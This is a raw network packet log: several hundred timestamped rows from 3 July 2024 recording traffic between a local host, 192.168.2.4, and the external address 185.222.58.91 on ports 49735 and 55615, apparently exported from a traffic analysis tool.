Jul 3, 2024 18:17:27.685693026 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.685703039 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.685710907 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.685726881 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.685760021 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.685765028 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.685775995 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.685785055 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.685801029 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.685836077 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.685862064 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.685872078 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.685880899 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.685889959 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.685895920 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.685914040 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.685935020 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.686012030 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686022043 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686031103 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686039925 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686050892 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686073065 CEST	49735	55615	192.168.2.4	185.222.58.91
Jul 3, 2024 18:17:27.686100960 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686110973 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686120987 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686131001 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686146021 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686156034 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686180115 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686188936 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686198950 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686208010 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686216116 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686249018 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686256886 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686265945 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686326981 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686337948 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686347961 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686357021 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686387062 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686404943 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686423063 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686431885 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686440945 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686542988 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686553001 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686568975 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686578035 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686587095 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686656952 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686666965 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686676979 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686686039 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686783075 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686800003 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686809063 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686819077 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686829090 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686837912 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686855078 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686863899 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686894894 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686904907 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686920881 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686929941 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686948061 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.686956882 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687040091 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687050104 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687060118 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687077999 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687087059 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687097073 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687113047 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687124968 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687143087 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687153101 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687158108 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687165976 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687235117 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687244892 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687254906 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687442064 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687453032 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687462091 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687470913 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687519073 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687529087 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687552929 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687639952 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687655926 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687685966 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687701941 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687712908 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687771082 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687779903 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687798977 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687820911 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687830925 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687839985 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687849998 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687860012 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687870026 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.687918901 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688003063 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688013077 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688020945 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688047886 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688057899 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688142061 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688162088 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688170910 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688180923 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688198090 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688263893 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688282967 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688292027 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688317060 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688325882 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688390017 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688400030 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688410044 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688426018 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688529015 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688539028 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688569069 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688580036 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688754082 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688766003 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688780069 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688791037 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688844919 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.688996077 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689006090 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689017057 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689026117 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689080000 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689090014 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689100981 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689110041 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689119101 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689136982 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689156055 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689161062 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689172983 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689178944 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689182997 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689233065 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689307928 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689369917 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689378977 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689446926 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689457893 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689467907 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689483881 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689501047 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689548016 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689610958 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689621925 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689637899 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689654112 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689737082 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689754009 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689883947 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689894915 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689939976 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689949036 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689959049 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689968109 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689984083 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.689995050 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690004110 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690012932 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690068960 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690078974 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690088987 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690099001 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690118074 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690129042 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690138102 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690146923 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690155983 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690165043 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690239906 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690251112 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690269947 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690279961 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690289021 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690300941 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690310001 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690327883 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690336943 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690352917 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690362930 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690371990 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690390110 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690399885 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690409899 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690418959 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690428972 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690438032 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690454960 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690464973 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690485954 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690495968 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690504074 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690520048 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690557003 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690571070 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690685987 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690704107 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690716028 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690730095 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690756083 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690764904 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690781116 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690790892 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690807104 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690817118 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690857887 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690867901 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690907001 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690917015 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690983057 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.690994024 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691003084 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691011906 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691061020 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691077948 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691095114 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691104889 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691113949 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691170931 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691179991 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691195965 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691214085 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691224098 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691240072 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691256046 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691265106 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691282988 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691323042 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691333055 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691368103 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691437006 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691447020 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691457033 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691476107 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691484928 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691545963 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691591024 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691601038 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691648960 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691658974 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691668034 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691754103 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691764116 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691773891 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691785097 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691875935 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691884995 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691895008 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691904068 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691936970 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.691946983 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692024946 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692034006 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692114115 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692123890 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692132950 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692251921 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692261934 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692272902 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692287922 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692297935 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692306995 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692316055 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692325115 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692336082 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692353964 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692363024 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692409039 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692418098 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692426920 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692435980 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692445040 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692454100 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692536116 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692545891 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692554951 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692564011 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692573071 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692580938 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692590952 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692600012 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692656040 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692666054 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692676067 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692684889 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692693949 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692698002 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692702055 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692706108 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692708969 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692713976 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692775011 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692785978 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692810059 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692820072 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692828894 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692845106 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692856073 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692895889 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692909956 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692928076 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692945957 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692956924 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692975044 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.692991972 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.693001032 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.693013906 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.693028927 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.693042994 CEST	55615	49735	185.222.58.91	192.168.2.4
Jul 3, 2024 18:17:27.693062067 CEST	55615	49735	185.222.58.91	192.168.2.4
